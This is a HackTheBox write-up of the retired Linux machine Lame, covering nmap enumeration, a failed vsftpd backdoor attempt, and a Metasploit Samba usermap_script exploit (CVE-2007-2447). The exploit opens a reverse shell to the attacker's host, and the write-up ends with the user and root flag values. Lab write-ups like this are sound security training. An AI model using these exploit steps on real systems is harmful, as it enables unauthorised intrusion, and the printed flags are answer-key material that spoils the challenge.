// htb writeup 2026-02-25
lame
HackTheBox Easy
root obtained // PWNED

Hack The Box - Lame (10.10.10.3)

🧠 Summary

Lame is a retired Linux machine that showcases basic enumeration and exploitation of vulnerable services. The box includes vulnerable versions of vsftpd and Samba, allowing for Metasploit-based exploitation. Ultimately, we gain a root shell through the user_map_script Samba exploit (CVE-2007-2447).


🔍 Enumeration

🔹 Nmap

nmap -p- lame.htb --min-rate 5000
nmap -p 21,22,139,445 -sC -sV lame.htb -oN nmap_alert

Open Ports:


💥 Exploitation

1. ⚠️ VSFTPD Backdoor Attempt (CVE-2011-2523)

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS lame.htb
msf6 exploit(...) > run
[*] Exploit completed, but no session was created.

📌 Likely blocked by local firewall or patched.


2. 🎯 Samba Usermap Script Exploit (CVE-2007-2447)

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS lame.htb
msf6 exploit(...) > set LHOST 10.10.14.12
msf6 exploit(...) > run

Result:

[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.10.10.3:42271)

🏁 Flags

cat /home/makis/user.txt
599b4dfc6f9118692e6238451b0b19df

cat /root/root.txt
7b81765f6ee8a59bb4d7de5df85e1903

📌 Notes


Writeup by inkedqt